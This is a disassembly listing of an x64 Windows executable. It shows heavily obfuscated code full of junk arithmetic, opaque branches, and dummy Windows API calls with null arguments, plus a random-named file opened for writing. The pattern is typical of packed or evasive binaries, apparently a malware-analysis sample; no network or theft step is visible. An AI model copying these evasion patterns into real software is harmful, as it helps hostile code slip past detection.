mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
movzx eax, word [rsp + 0xfdc]
movzx ecx, word [rsp + 0x1f20]
or eax, ecx
mov word [rsp + 0x1f14], ax
movzx ecx, word [rsp + 0x1f08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f18], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62bc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [0x1401c8a10]
sar eax, cl
mov word [rsp + 0x137c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
movzx ecx, word [rsp + 0x1f18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f18], ax
lea rcx, [rsp + 0x1fca8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xb0d8]
mov rcx, qword [rsp + 0xc118]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0b0], rax
movzx eax, byte [rsp + 0x374]
sub eax, 0xa1
mov byte [rsp + 0x253], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc080], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x62b8], eax
mov eax, dword [rsp + 0x62d0]
mov dword [rsp + 0x62d4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
movzx eax, word [rsp + 0x1f0c]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfdc], ax
movzx eax, word [rsp + 0x1f14]
movzx ecx, word [rsp + 0x1f20]
shl eax, cl
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
movsx eax, word [rsp + 0x137c]
movsx ecx, word [rsp + 0x1d04]
or eax, ecx
mov word [0x1401c8a10], ax
movsx eax, byte [rsp + 0x1d7]
sar eax, 5
mov byte [rsp + 0x1d7], al
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x1d04]
and eax, ecx
mov word [rsp + 0x137c], ax
jmp 0x140010d9c
mov rax, qword [rsp + 0xb0d8]
mov rcx, qword [rsp + 0xc0b0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc118], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x627c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
movzx eax, word [rsp + 0x1f0c]
movzx ecx, word [rsp + 0xfdc]
add eax, ecx
mov word [rsp + 0x1f14], ax
mov rax, qword [rsp + 0xc118]
mov rcx, qword [rsp + 0xc088]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0d8], rax
movzx eax, word [rsp + 0x1f0c]
movzx ecx, word [rsp + 0x1f14]
sar eax, cl
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
movzx eax, word [rsp + 0xfdc]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f0c], ax
movzx ecx, word [rsp + 0x1f04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f18], ax
movzx ecx, word [rsp + 0x1f10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f24], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
lea rdx, [rsp + 0x25f80]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62b0], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62a8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc050], rax
movabs rax, 0x781718bc85f70e
mov rcx, qword [rsp + 0xc0d8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc008], rax
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x137c]
add eax, ecx
mov word [0x1401c8a10], ax
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x1d7]
sub eax, 0x65
mov byte [rsp + 0x1d7], al
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc128], rax
mov rax, qword [rsp + 0xb0d8]
mov rcx, qword [rsp + 0xc088]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0b0], rax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f20]
add eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov eax, dword [rsp + 0x62d0]
mov ecx, dword [rsp + 0x62cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d4], eax
mov eax, dword [rsp + 0x62dc]
add eax, 0x4e
mov dword [rsp + 0x62dc], eax
movzx eax, byte [rsp + 0x253]
sar eax, 3
mov byte [rsp + 0x374], al
movzx eax, word [rsp + 0x1f14]
movzx ecx, word [rsp + 0x1f20]
or eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc118]
mov rcx, qword [rsp + 0xc0b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc088], rax
movabs rax, 0x7ec36b17f3087b
mov rcx, qword [rsp + 0xc008]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0d8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x62bc], eax
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x1d04]
shl eax, cl
mov word [0x1401c8a10], ax
lea rcx, [rsp + 0x1d368]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
movzx eax, word [rsp + 0xfdc]
movzx ecx, word [rsp + 0x1f0c]
sub eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x137c]
sub eax, ecx
mov word [rsp + 0x1d04], ax
lea rdx, [rsp + 0x25fb8]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62a8], eax
movzx ecx, word [rsp + 0x1f10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f08], ax
mov rax, qword [rsp + 0xb0d8]
movzx ecx, al
mov rax, qword [rsp + 0xc088]
sar rax, cl
mov qword [rsp + 0xc118], rax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f20]
or eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62e8], eax
lea rcx, [rsp + 0x1fc18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f20]
shl eax, cl
mov word [rsp + 0x1f0c], ax
mov rax, qword [rsp + 0xc0b0]
mov rcx, qword [rsp + 0xc118]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc088], rax
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0x137c]
sub eax, ecx
mov word [rsp + 0x1f1c], ax
mov eax, dword [rsp + 0x62a4]
mov ecx, dword [rsp + 0x6254]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ed0], eax
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x137c]
add eax, ecx
mov word [0x1401c8a10], ax
cmp dword [rsp + 0x62dc], 0x3a08
jb 0x14001101c
movzx eax, byte [rsp + 0x1d7]
mov byte [rsp + 0x375], al
movzx eax, byte [rsp + 0x253]
movzx ecx, byte [rsp + 0x374]
add eax, ecx
mov byte [rsp + 0x30b], al
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [rsp + 0x253]
cdq
idiv ecx
movzx ecx, byte [rsp + 0x374]
cmp eax, ecx
je 0x140197438
movsx eax, word [rsp + 0x137c]
movsx ecx, word [rsp + 0x1d04]
or eax, ecx
mov word [rsp + 0x1f1c], ax
lea rcx, [rsp + 0x1d390]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0xc088]
mov qword [rsp + 0xc130], rax
mov dword [rsp + 0x62ec], 0x89fd
mov rax, qword [rsp + 0xb0d8]
movzx ecx, al
mov rax, qword [rsp + 0xc088]
shl rax, cl
mov rcx, qword [rsp + 0xc130]
mov rdx, qword [rsp + 0xc118]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jne 0x14001156f
mov r8d, 0xd3
mov edx, 5
lea rcx, [rsp + 0x29be0]
call qword [sym.imp.USER32.dll_InflateRect]
mov dword [rsp + 0x6280], eax
movzx eax, word [rsp + 0xfdc]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f0c], ax
mov ecx, SHGetNewLinkInfoW
call qword [sym.imp.USER32.dll_SetProcessDefaultLayout]
mov dword [rsp + 0x62e0], eax
jmp 0x1400118e8
mov eax, dword [rsp + 0x62d0]
mov ecx, dword [rsp + 0x62cc]
sub ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x62d4]
jl 0x1400115f3
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov dword [rsp + 0x62f0], eax
cmp dword [rsp + 0x62f0], 0xa30
je 0x1400115ab
jmp 0x1400115d9
mov rax, qword [rsp + 0xb0d8]
movzx ecx, al
mov rax, qword [rsp + 0xc0b0]
sar rax, cl
mov qword [rsp + 0xc130], rax
call qword [sym.imp.USER32.dll_GetFocus]
mov qword [rsp + 0xc138], rax
jmp 0x1400115ee
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc140], rax
jmp 0x1400118e8
movsx eax, word [0x1401c8a10]
movsx ecx, word [rsp + 0x137c]
add eax, ecx
movsx ecx, word [rsp + 0x1d04]
movsx edx, word [rsp + 0x1f1c]
sub ecx, edx
cmp eax, ecx
jge 0x1400117db
movzx eax, word [rsp + 0xfdc]
movzx ecx, word [rsp + 0x1f20]
add eax, ecx
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x1f14]
imul ecx, edx
cmp eax, ecx
jge 0x140011752
mov eax, dword [rsp + 0x62a4]
mov ecx, dword [rsp + 0x5ed0]
and ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x6254]
je 0x1400116b6
mov r8d, 0x37
mov edx, reloc.SHELL32.dll_PathMakeUniqueName
mov rcx, qword [rsp + 0xc068]
call qword [sym.imp.USER32.dll_SetClassLongW]
mov dword [rsp + 0x62f4], eax
movzx eax, word [rsp + 0x1f20]
movzx ecx, word [rsp + 0xfdc]
add eax, ecx
mov word [rsp + 0x1f14], ax
call qword [sym.imp.USER32.dll_GetOpenClipboardWindow]
mov qword [rsp + 0xc070], rax
jmp 0x14001174d
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x137c]
xor eax, ecx
movsx ecx, word [rsp + 0x1d04]
movsx edx, word [0x1401c8a10]
or ecx, edx
cmp eax, ecx
je 0x1400116fd
mov rax, qword [rsp + 0xc088]
mov rcx, qword [rsp + 0xc130]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0b0], rax
jmp 0x14001174d
movzx eax, word [rsp + 0x1f0c]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
shl eax, cl
movzx ecx, word [rsp + 0xfdc]
mov dword [rsp + 0x62f8], ecx
movzx edx, word [rsp + 0x1f20]
movzx ecx, dl
mov edx, dword [rsp + 0x62f8]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14001174d
movsx eax, byte [rsp + 0x1d7]
add eax, 7
mov byte [rsp + 0x375], al
jmp 0x1400117d6
mov eax, dword [rsp + 0x5ed0]
mov ecx, dword [rsp + 0x6254]
sub ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x62a4]
jne 0x14001178c
movzx eax, word [rsp + 0xfdc]
movzx ecx, word [rsp + 0x1f20]
sub eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
jmp 0x1400117d6
xor edx, edx
mov eax, dword [rsp + 0x5ed0]
div dword [rsp + 0x62a4]
cmp eax, dword [rsp + 0x6254]
ja 0x1400117d6
mov dword [rsp + 0x20], ILIsEqual
mov r9d, 0x3f
mov r8d, 0x31
mov rdx, qword [rsp + 0xc148]
mov rcx, qword [rsp + 0xc150]
call qword [sym.imp.USER32.dll_DlgDirListComboBoxW]
mov dword [rsp + 0x62d0], eax
jmp 0x1400118e8
mov rax, qword [rsp + 0xc118]
imul rax, qword [rsp + 0xb0d8]
mov rcx, qword [rsp + 0xc088]
mov rdx, qword [rsp + 0xc130]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jle 0x1400118e8
mov dword [rsp + 0x20], 0x66
lea r9, [rsp + 0xc0d8]
lea r8, [rsp + 0xc158]
mov edx, 0xab
mov ecx, 0xdb
call qword [sym.imp.USER32.dll_ToAscii]
mov dword [rsp + 0x62d4], eax
mov r8d, 1
mov rdx, qword [rsp + 0xc160]
mov rcx, qword [rsp + 0xc070]
call qword [sym.imp.USER32.dll_SetWindowRgn]
mov dword [rsp + 0x62d4], eax
mov eax, dword [rsp + 0x62f4]
mov dword [rsp + 0x62fc], eax
cmp dword [rsp + 0x62fc], 0xf0ab
je 0x14001187a
jmp 0x1400118c1
mov r8d, reloc.SHELL32.dll_ILFindLastID
lea rdx, [rsp + 0x29c80]
mov cx, 0xed
call qword [sym.imp.USER32.dll_CharNextExA]
mov qword [rsp + 0xc168], rax
mov r9, qword [rsp + 0xc0d8]
movzx r8d, byte [rsp + 0x1d7]
movzx edx, byte [rsp + 0x253]
mov ecx, dword [rsp + 0x62f4]
call fcn.140197b30
jmp 0x1400118e8
mov r9d, 0x27
mov r8d, 0x66
mov edx, 0x63
mov rcx, qword [rsp + 0xc170]
call qword [sym.imp.USER32.dll_DefWindowProcW]
mov qword [rsp + 0xc178], rax
mov rax, qword [rsp + 0xc118]
mov rcx, qword [rsp + 0xc130]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc0b0]
mov rdx, qword [rsp + 0xc088]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jl 0x14001196a
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc180], rax
mov rax, qword [rsp + 0xc008]
mov rcx, qword [rsp + 0xc0d8]
and rcx, rax
mov rax, rcx
mov qword [section..data], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
jmp 0x140011af4
mov eax, dword [rsp + 0x62d0]
movzx ecx, al
mov eax, dword [rsp + 0x62cc]
shl eax, cl
cmp eax, dword [rsp + 0x62d4]
jle 0x140011a76
movzx eax, word [rsp + 0x1f20]
movzx ecx, word [rsp + 0xfdc]
sub eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov eax, dword [rsp + 0x62d0]
mov dword [rsp + 0x62cc], eax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f14]
shl eax, cl
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov dword [rsp + 0x20], reloc.SHELL32.dll_PathMakeUniqueName
mov r9d, PathYetAnotherMakeUniqueName
lea r8, [rsp + 0x6254]
lea rdx, [rsp + 0xc188]
mov ecx, 0xfb
call qword [sym.imp.USER32.dll_GetMouseMovePointsEx]
mov dword [rsp + 0x62cc], eax
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0x137c]
sar eax, cl
mov word [rsp + 0x1f1c], ax
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x137c]
or eax, ecx
mov word [rsp + 0x1d04], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfdc]
sub eax, ecx
mov word [rsp + 0x1f14], ax
mov rax, qword [rsp + 0xc118]
mov rcx, qword [rsp + 0xc088]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0d8], rax
jmp 0x140011af4
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f0c]
add eax, ecx
movzx ecx, word [rsp + 0xfdc]
movzx edx, word [rsp + 0x1f20]
add ecx, edx
cmp eax, ecx
jne 0x140011ac0
mov rax, qword [section..data]
mov rcx, qword [rsp + 0xc008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0d8], rax
jmp 0x140011af4
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [rsp + 0x374]
xor eax, ecx
movzx ecx, byte [rsp + 0x253]
cmp eax, ecx
jne 0x140011af4
mov rcx, qword [rsp + 0xc150]
call qword [sym.imp.USER32.dll_SetCapture]
mov qword [rsp + 0xc028], rax
movzx eax, word [rsp + 0x1d04]
mov word [0x1401c8a14], ax
mov eax, dword [rsp + 0x6254]
mov dword [rsp + 0x62f4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x375]
sub eax, 0x4c
mov byte [rsp + 0x1d7], al
lea rcx, [rsp + 0x1d390]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x137c]
or eax, ecx
mov word [rsp + 0x1d04], ax
mov rax, qword [rsp + 0xb0d8]
movzx ecx, al
mov rax, qword [rsp + 0xc0b0]
sar rax, cl
mov qword [rsp + 0xc088], rax
movzx ecx, word [rsp + 0x1f08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f04], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62a8], eax
lea rcx, str.TbktJV
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f24], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f20]
shl eax, cl
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
movzx ecx, word [rsp + 0x1f04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f28], ax
movzx eax, word [rsp + 0x1f20]
movzx ecx, word [rsp + 0xfdc]
xor eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc118]
mov rcx, qword [rsp + 0xc0b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0d8], rax
mov rax, qword [rsp + 0xb0d8]
mov rcx, qword [rsp + 0xc130]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc118], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x627c], eax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfdc]
sar eax, cl
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfdc]
shl eax, cl
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [rsp + 0x374]
or eax, ecx
mov byte [rsp + 0x253], al
movsx eax, byte [rsp + 0x1d7]
add eax, 4
mov byte [rsp + 0x375], al
mov eax, dword [rsp + 0x6254]
mov ecx, dword [rsp + 0x62f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62a4], eax
mov rax, qword [section..data]
mov rcx, qword [rsp + 0xc008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0d8], rax
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x1d04]
add eax, ecx
mov word [rsp + 0x137c], ax
movsx eax, word [rsp + 0x137c]
movsx ecx, word [rsp + 0x1f1c]
add eax, ecx
mov word [rsp + 0x1d04], ax
mov eax, dword [rsp + 0x62c0]
add eax, 0x58
mov dword [rsp + 0x62c0], eax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f14]
or eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov r9d, 2
lea r8, [rsp + 0xc190]
mov rdx, qword [rsp + 0xc190]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62a8], eax
mov rax, qword [rsp + 0xc008]
movzx ecx, al
mov rax, qword [rsp + 0xc0d8]
shl rax, cl
mov qword [section..data], rax
xor r9d, r9d
lea r8, [rsp + 0xc198]
mov rdx, qword [rsp + 0xc198]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62a8], eax
cmp dword [rsp + 0x62c0], 0xd568
jne 0x140011b1b
mov rax, qword [section..data]
mov rcx, qword [rsp + 0xc0d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa148], rax
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov dword [rsp + 0x6300], 0x80fd
cmp dword [rsp + 0x6298], 0xc036
ja 0x140011f5d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6304], eax
movsx eax, byte [rsp + 0x375]
xor eax, 0x4d
mov byte [rsp + 0x1d7], al
mov eax, dword [rsp + 0x62a4]
movzx ecx, al
mov eax, dword [rsp + 0x62f4]
shr eax, cl
mov dword [rsp + 0x6254], eax
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0x137c]
sub eax, ecx
mov word [rsp + 0x1f1c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [rsp + 0x6298]
add eax, 0x72
mov dword [rsp + 0x6298], eax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f14]
sub eax, ecx
mov word [rsp + 0xfdc], ax
mov r9d, 1
lea r8, [rsp + 0xc190]
mov rdx, qword [rsp + 0xc098]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62b4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rcx, [rsp + 0x1fc48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x1f14]
movzx ecx, word [rsp + 0xfdc]
sar eax, cl
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
jmp 0x140011e21
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
movzx eax, word [rsp + 0x1f20]
movzx ecx, word [rsp + 0x1f0c]
or eax, ecx
mov word [rsp + 0x1f14], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc0a0], rax
movzx eax, byte [rsp + 0x375]
mov byte [rsp + 0x6308], al
cmp byte [rsp + 0x6308], 0xcc
je 0x140011fb5
jmp 0x14019736e
mov rax, qword [rsp + 0xc008]
mov qword [rsp + 0xc1a0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x630c], 0x7579
mov dword [rsp + 0x6310], 0xfff2
movsx eax, word [rsp + 0x1f1c]
mov dword [rsp + 0x6314], eax
cmp dword [rsp + 0x6314], 0
je 0x140012003
jmp 0x1401971cd
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f20]
or eax, ecx
movzx ecx, word [rsp + 0x1f14]
movzx edx, word [rsp + 0xfdc]
sub ecx, edx
cmp eax, ecx
jl 0x140012108
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.IDQoQHQSwOGt2grFumh
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc1a8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov eax, dword [rsp + 0x5ed0]
mov ecx, dword [rsp + 0x62a4]
xor ecx, eax
mov eax, ecx
mov dword [0x1401c7008], eax
movzx eax, word [rsp + 0x1f20]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xfdc], ax
mov dword [rsp + 0x6318], 0x2d2f
mov rax, qword [rsp + 0xc008]
movzx ecx, al
mov rax, qword [rsp + 0xc1a0]
shr rax, cl
mov qword [rsp + 0xbeb8], rax
mov dword [rsp + 0x631c], 0xbde5
mov eax, dword [rsp + 0x62f4]
mov ecx, dword [rsp + 0x6254]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ed0], eax
mov dword [rsp + 0x6320], 0xf07a
jmp 0x1400121f3
mov eax, dword [rsp + 0x62d4]
mov ecx, dword [rsp + 0x62cc]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x62d0]
je 0x140012178
movsx eax, byte [rsp + 0x1d7]
sub eax, 0xb
mov byte [rsp + 0x375], al
mov r8d, 0xa4
mov rdx, qword [rsp + 0xc110]
lea rcx, [rsp + 0xc1b0]
call qword [sym.imp.USER32.dll_OemToCharBuffW]
mov dword [rsp + 0x6270], eax
mov rax, qword [rsp + 0xc118]
mov rcx, qword [rsp + 0xb0d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0b0], rax
jmp 0x1400121f3
movsx eax, word [rsp + 0x137c]
movsx ecx, word [rsp + 0x1d04]
sub eax, ecx
mov word [rsp + 0x1f1c], ax
movzx eax, word [rsp + 0x1f0c]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f14], ax
mov eax, dword [rsp + 0x62cc]
mov dword [rsp + 0x62d0], eax
movsx eax, word [0x1401c8a14]
movsx ecx, word [rsp + 0x1d04]
or eax, ecx
mov word [0x1401c8a10], ax
mov rax, qword [rsp + 0xc118]
movzx ecx, al
mov rax, qword [rsp + 0xc130]
sar rax, cl
mov qword [rsp + 0xc0b0], rax
movzx eax, byte [rsp + 0x1d7]
mov byte [rsp + 0x376], al
cmp dword [rsp + 0x625c], 0xca4d
jae 0x14001237f
mov eax, dword [0x1401c7008]
mov ecx, dword [rsp + 0x62a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ed0], eax
mov rax, qword [rsp + 0xc0d8]
mov rcx, qword [rsp + 0xa148]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1a0], rax
mov eax, dword [rsp + 0x625c]
add eax, 0x54
mov dword [rsp + 0x625c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc1b8], rax
movsx eax, word [rsp + 0x137c]
movsx ecx, word [rsp + 0x1d04]
and eax, ecx
mov word [rsp + 0x1f1c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
movzx eax, word [rsp + 0x1f0c]
movzx ecx, word [rsp + 0xfdc]
xor eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc130]
movzx ecx, al
mov rax, qword [rsp + 0xc0b0]
shl rax, cl
mov qword [rsp + 0xb0d8], rax
xor ecx, ecx
